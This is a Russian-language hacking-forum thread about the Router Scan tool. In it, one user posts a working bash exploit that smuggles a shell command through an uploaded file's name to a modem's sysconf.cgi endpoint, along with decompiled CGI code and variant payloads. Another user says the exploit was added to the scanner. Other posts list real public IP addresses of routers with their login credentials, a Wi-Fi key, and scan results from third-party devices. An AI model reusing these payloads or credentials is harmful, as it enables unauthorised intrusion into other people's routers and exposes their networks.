прога Router Scan

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by СЕРЖ32, 11 Nov 2013.

  1. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    607
    Likes Received:
    3,643
    Reputations:
    170
    О, я как раз про это место подумал, что там возможно rce есть
     
  2. exzet

    exzet Active Member

    Joined:
    26 May 2017
    Messages:
    67
    Likes Received:
    110
    Reputations:
    0
    Ага, 4 штырька - TX, RX, GND и VCC, а от туда уже по ком-порту можно вытащить все что угодно.
     
  3. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    607
    Likes Received:
    3,643
    Reputations:
    170
    Выяснилось, что нельзя
    Code:
    #!/bin/bash
    
    CPE=192.168.15.1:88
    
    PAYLOAD='$(export d=${PATH:0:1}; .${d}ssiget -l about > ${d}www${d}asp${d}temp.asp)'
    touch "${PAYLOAD}"
    curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
    rm -f "${PAYLOAD}"
    
    curl "http://$CPE/cgi-bin/sysconf.cgi?page=temp.asp&action=request"
    
    PAYLOAD='$(export d=${PATH:0:1}; rm -f ${d}www${d}asp${d}temp.asp)'
    touch "${PAYLOAD}"
    curl -X POST -H 'Expect:' -H 'Connection: close' -F "file=@\"$PAYLOAD\"" "http://$CPE/cgi-bin/sysconf.cgi?page=mfg&action=12"
    rm -f "${PAYLOAD}"
    

    PHP:
    #include <stdio.h>
    #include <strings.h>

    int main(int argc, const char **argv, const char **envp)
    {
        
    char page[52];
        
    int ivar_C;
        
    char *ptr;
       
        
    var_C 0;
        
    ptr get_query(stdin);
        
    init_cgi(ptr);
        ;
        
    strcpy(pageget_cgi("page"));
        
    var_48 getenv("REMOTE_ADDR");
        
    var_44 getenv("REQUEST_METHOD");
        if (
    strstr(page"..") != NULL || strchr(page"/") != NULL)
        {
            
    fwrite("Content-Type: text/html\r\n\r\n"10x1Bstdout);
            
    fwrite("Wrong Page."10xBstdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        if (
    strcmp(page"mfg") == 0)
        {
            
    sub_4014B8(stdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        if (
    strcasecmp(get_cgi("action"), "request") == 0)
        {
            
    webs_write(pagestdout);
            
    init_cgi(0);
            
    free(ptr);
            return 
    0;
        }
       
        
    0;
        while (
    1)
        {
            if (
    strcmp(pageoff_41A5A0[i]) == 0)
            {
                
    off_41A5A0[1](pagevar_Cstdout);
                break;
            }
            if (
    off_41A5A0[i] == 0)
                break;
            ++
    i;
        }
       
        if (
    dword_41A7C0 != 0)
            
    webs_redirect(0"reboot"0stdout);
        else if (
    dword_41A7C4 != 0)
            
    system("(sleep 3 && reboot) >/dev/null 2>&1 &");
       
        if (
    page[0] != '\0')
            
    webs_redirect(0pagevar_Cstdout);
       
        
    init_cgi(0);
        
    free(ptr);
        return 
    0;
    }

    void sub_4014B8(FILE *out_stream)
    {
        
    char *action;
        
    char cmd[0x400];
       
        
    action get_cgi("action");
        
    fwrite("Content-Type: text/html\r\n\r\n"10x1Bout_stream);
       
        if (
    strcmp(action"11") == 0)
        {
            
    memset(cmd00x400);
            
    sprintf(cmd"ipkg -f %s remove telnetd > /dev/null""/etc/conf/app/ipkg.conf");
            
    system(cmd);
        }
        else if (
    strcmp(action"12") == 0)
        {
            
    unlink("/mnt/jffs2/ipkg/lists/openwmx");
            
    unlink("/mnt/jffs2/ipkg/lists/devicesw");
            
    unlink("/tmp/upgrade_success");
            
    ipkg_install(stdin);
        }
        else if (
    strcmp(action"1") == 0)
        {
            
    fputs(sub_4040C0("/Yota_VERSION"), out_stream);
        }
        else if (
    strcmp(action"16") == 0)
        {
            
    fputs(sub_404230("serial"), out_stream);
        }
        else if (
    strcmp(action"19") == 0)
        {
            
    fputs(sub_404230("hid"), out_stream);
        }
        else if (
    strcmp(action"20") == 0)
        {
            
    fputs(sub_404230("cid"), out_stream);
        }
        else if (
    strcmp(action"21") == 0)
        {
            
    fputs(sub_404230("pid"), out_stream);
        }
        else if (
    strcmp(action"22") == 0)
        {
            
    fputs(sub_404230("mid"), out_stream);
        }
        else if (
    strcmp(action"24") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool imei read"), out_stream);
        }
        else if (
    strcmp(action"28") == 0)
        {
            
    fputs(sub_404230("lanaddr"), out_stream);
        }
        else if (
    strcmp(action"29") == 0)
        {
            
    fputs(sub_404230("hostaddr"), out_stream);
        }
        else if (
    strcmp(action"30") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool led on"), out_stream);
        }
        else if (
    strcmp(action"31") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool led off"), out_stream);
        }
        else if (
    strcmp(action"32") == 0)
        {
            
    fputs(sub_4013B4("cd /usr/factory; ./mp_tool imsi read"), out_stream);
        }
        return;
    }

    int ipkg_install(FILE *in_stream)
    {
        
    char fname[0x100], cmd[0x80], verif_res[0xA];
        
    FILE *chk_stream;
        
    int i_ret;
       
        
    chk_stream NULL;
        
    i_ret 1;
       
        
    update_upload_status("Downloading");
        if (
    sub_408B4C(fnamein_stream) == 0)
        {
            
    i_ret 2;
            
    update_upload_status("DownloadFail");
            goto 
    loc_exit;
        }
       
        
    update_upload_status("Installing");
        
    sprintf(cmd"/bin/ipkg_verify.sh %s > /dev/null"fname);
        
    system(cmd);
       
        
    chk_stream fopen("/tmp/ipkg.chk""r");
        if (
    chk_stream == NULL)
        {
            
    i_ret 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    fgets(verif_res0xAchk_stream) == 0)
        {
            
    i_ret 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    strcmp(verif_res"1") != 0)
        {
            
    i_ret 2;
            
    update_upload_status("InstallFail");
            goto 
    loc_exit;
        }
       
        if (
    strstr(fname".ipk") != NULL)
        {
            
    sprintf(cmd"/bin/ipkg -f /etc/conf/app/ipkg.conf install '%s' > /tmp/ipkg.log 2>&1"fname);
            
    system(cmd);
        }
        
    i_ret 0;
       
    loc_exit:
        if (
    chk_stream != NULL)
            
    fclose(chk_stream);
        
    unlink(fname);
        return 
    i_ret;
    }

    int sub_408B4C(char *fnameFILE *in_stream)
    {
        
    int i_retunread_len;
        
    char boundary[0x80];
       
        
    i_ret 0;
        if (
    sub_4085BC(fnameboundary, &unread_lenin_stream) != 0
            
    && sub_40820C(fnameboundaryunread_lenin_stream) != 0)
        {
            
    i_ret 1;
        }
       
        if (
    i_ret == 0)
            
    unlink(fname);
        return 
    i_ret;
    }

    int sub_4085BC(char *fnamechar *boundaryint *p_unread_lenFILE *in_stream)
    {
        
    int left_bytes;
        
    char *content_type, *p_name_start, *p_name_end, *p_path_delim;
        
    char buffer[0x1000];
       
        
    p_name_end NULL;
        if (
    strncasecmp(getenv("REQUEST_METHOD"), "POST"4) != 0)
            return 
    0;
       
        if (
    boundary != NULL)
        {
            
    content_type getenv("CONTENT_TYPE");
            if (
    strncasecmp(content_type"multipart/form-data; boundary="0x1E) != 0)
                return 
    0;
            
    sprintf(boundary"--%s"content_type 0x1E);
        }
       
        if (
    getenv("CONTENT_LENGTH") == NULL)
            return 
    0;
        
    left_bytes strtoul(getenv("CONTENT_LENGTH"), 00);
       
        if (
    fname != NULL)
        {
            
    memcpy(fname"/upload/"9);
            while (
    left_bytes != 0)
            {
                
    bzero(buffer0x1000);
                if (
    fgets(buffer0x1000in_stream) == 0)
                    return 
    0;
                
    left_bytes -= strlen(buffer);
                if (
    strncasecmp(buffer"Content-Disposition:"0x14) != 0)
                    continue;
                if (
    strcasestr(buffer"name=\"file\"") == NULL && strcasestr(buffer"name=\"updateFwFile\"") == NULL)
                    continue;
                
    p_name_start strstr(buffer"filename=\"");
                if (
    p_name_start == NULL)
                    continue;
                
    p_path_delim strrchr(p_name_start'\\');
                if (
    p_path_delim == NULL)
                {
                    
    p_path_delim strrchr(p_name_start'/');
                }
                if (
    p_path_delim == NULL)
                    
    p_name_start += 0xA;
                else
                    
    p_name_start p_path_delim 1;
               
                
    p_name_end strchr(p_name_start'"');
                if (
    p_name_end != NULL)
                    *
    p_name_end '\0';
               
                
    strcat(fnamep_name_start);
                break;
            }
        }
       
        while (
    left_bytes != 0)
        {
            if (
    fgets(buffer0x1000in_stream) == 0)
                return 
    0;
            
    left_bytes -= strlen(buffer);
            if (
    strcmp(buffer"\n") == 0)
                break;
            if (
    strcmp(buffer"\r\n") == 0)
                break;
        }
       
        if (
    p_unread_len != NULL)
            *
    p_unread_len left_bytes;
        return 
    1;
    }
     
    Payer, CRACK211 and binarymaster like this.
  4. C0D3BR34K3R

    C0D3BR34K3R New Member

    Joined:
    1 Jun 2015
    Messages:
    22
    Likes Received:
    3
    Reputations:
    0
    binarymaster
    есть возможность для билайновских смарт-боксов добавить парсинг серийника в коммент, также как этого сделано для акадовских роутеров?
     
  5. kadet

    kadet Banned

    Joined:
    9 Mar 2011
    Messages:
    13
    Likes Received:
    8
    Reputations:
    0
  6. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,533
    Likes Received:
    9,510
    Reputations:
    118
    Реализовал POC в RS. :)

    Кстати, часть роутеров либо неуязвима, либо команда другая.
    Добавил.
     
    #3826 binarymaster, 5 Jul 2017
    Last edited: 5 Jul 2017
    C0D3BR34K3R, Payer and CRACK211 like this.
  7. pkrw88

    pkrw88 Member

    Joined:
    30 Jun 2017
    Messages:
    21
    Likes Received:
    38
    Reputations:
    0
    FOSCAM QV_IPC X10-Build:20140507R | V3.71.02.1972
    некорректно считывает настройки wlan
    95 25 61 185
    essid:
    rodnik" ;
    var wifikeytype = "3" ;
    var wifiwhichkey = "0" ;
    var wifikey="sp19804s20f7gbsp" ;
    var linkstatus="1" ;
    var wifienable="1" ;


    и еще, после того, как происходит повреждение памяти в проге, после ее закрытия остается висеть процесс, который неслабо отжирает cpu
     
    #3827 pkrw88, 5 Jul 2017
    Last edited: 5 Jul 2017
  8. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,533
    Likes Received:
    9,510
    Reputations:
    118
    Уже пофикшено.
     
  9. Pebenok70

    Pebenok70 Member

    Joined:
    5 Jul 2017
    Messages:
    102
    Likes Received:
    97
    Reputations:
    0
    Открытый MikroTik. Это ничем не поможет?
    91.238.28.96:80 admin:<empty> MikroTik RouterOS v6.35.4
    91.238.28.97:80 admin:<empty> MikroTik RouterOS v6.35.4
     
  10. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,533
    Likes Received:
    9,510
    Reputations:
    118
    Code:
    Address: http://91.238.28.96/
    Time: 93 ms
    Authorization: admin:<empty>
    Device: MikroTik RouterOS v6.35.4
    BSSID: 00:0C:42:94:41:58
    ESSID: NTR-muk2
    LAN IP: 10.202.84.100
    LAN Subnet Mask: 255.255.254.0
    WAN IP: 192.168.88.1
    WAN Subnet Mask: 255.255.255.0
    WAN Gateway: 10.202.84.1
    Domain Name Servers: 8.8.8.8 208.67.220.222
    _________________
    
    Address: http://91.238.28.97/
    Time: 4571 ms
    Authorization: admin:<empty>
    Device: MikroTik RouterOS v6.35.4
    BSSID: 00:0C:42:94:41:58
    ESSID: NTR-muk2
    LAN IP: 10.202.84.112
    LAN Subnet Mask: 255.255.254.0
    WAN IP: 192.168.88.1
    WAN Subnet Mask: 255.255.255.0
    WAN Gateway: 10.202.84.1
    Domain Name Servers: 8.8.8.8 208.67.220.222
    
     
  11. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    607
    Likes Received:
    3,643
    Reputations:
    170
    Это более старые модемы. Там нет папки /www/asp и ssiget. Можно, например, через ifconfig вытащить BSSID:
    Code:
    PAYLOAD='$(export d=${PATH:0:1}; mkdir ${d}www${d}asp; ifconfig > ${d}www${d}asp${d}temp.asp)'
    или, как вариант:
    Code:
    PAYLOAD='$(cd ..;cd ..;cd www;mkdir asp;cd asp;ifconfig>temp.asp)'

    Для новых тоже должно работать
     
    #3831 Felis-Sapiens, 5 Jul 2017
    Last edited: 5 Jul 2017
    sha9, Upsurt, Kakoluk and 4 others like this.
  12. VasiliyP

    VasiliyP Well-Known Member

    Joined:
    30 Aug 2011
    Messages:
    265
    Likes Received:
    518
    Reputations:
    8
    Если не секрет, как данный декомпил получен?
     
    sha9 likes this.
  13. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    607
    Likes Received:
    3,643
    Reputations:
    170
    Вручную из дизассемблированного IDA. С оглядкой на snowman. JEB ещё недавно для MIPS сделали (https://www.pnfsoftware.com/jeb2/demomips) - я особо не разбирался, показалось, что пока не очень.
     
    #3833 Felis-Sapiens, 5 Jul 2017
    Last edited: 5 Jul 2017
    sha9 likes this.
  14. VasiliyP

    VasiliyP Well-Known Member

    Joined:
    30 Aug 2011
    Messages:
    265
    Likes Received:
    518
    Reputations:
    8
    Thanks.
     
  15. Pebenok70

    Pebenok70 Member

    Joined:
    5 Jul 2017
    Messages:
    102
    Likes Received:
    97
    Reputations:
    0
    Посмотрите 62.76.104.129:80 admin:admin Huawei WS319 Wireless Router
    RS молчит, через веб заходишь.
     
  16. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,533
    Likes Received:
    9,510
    Reputations:
    118
    Таймаут соединения, роутер недоступен.

    UPD: нашёл по другому IP, пофиксил.
    Добавил вуйфуй (KuWFi CPE150 / CPE830 / HWAP20Q) в поддержку. :D
     
    #3836 binarymaster, 6 Jul 2017
    Last edited: 6 Jul 2017
    yx-ex, sha9, Payer and 2 others like this.
  17. Pebenok70

    Pebenok70 Member

    Joined:
    5 Jul 2017
    Messages:
    102
    Likes Received:
    97
    Reputations:
    0
    Динамические ip у нас. 62.76.104.43:80 сейчас.
     
    CRACK211 likes this.
  18. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,533
    Likes Received:
    9,510
    Reputations:
    118
    Пофиксил.
     
    sha9, Payer, Upsurt and 4 others like this.
  19. Pebenok70

    Pebenok70 Member

    Joined:
    5 Jul 2017
    Messages:
    102
    Likes Received:
    97
    Reputations:
    0
    С вот этим тоже, через раз 92.38.37.67:80 admin:t3mp0Pa55 ASUS RT-N12VP
     
  20. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,533
    Likes Received:
    9,510
    Reputations:
    118
    "Через раз" не наблюдаю, всё парсится.
     
    sha9 likes this.
Loading...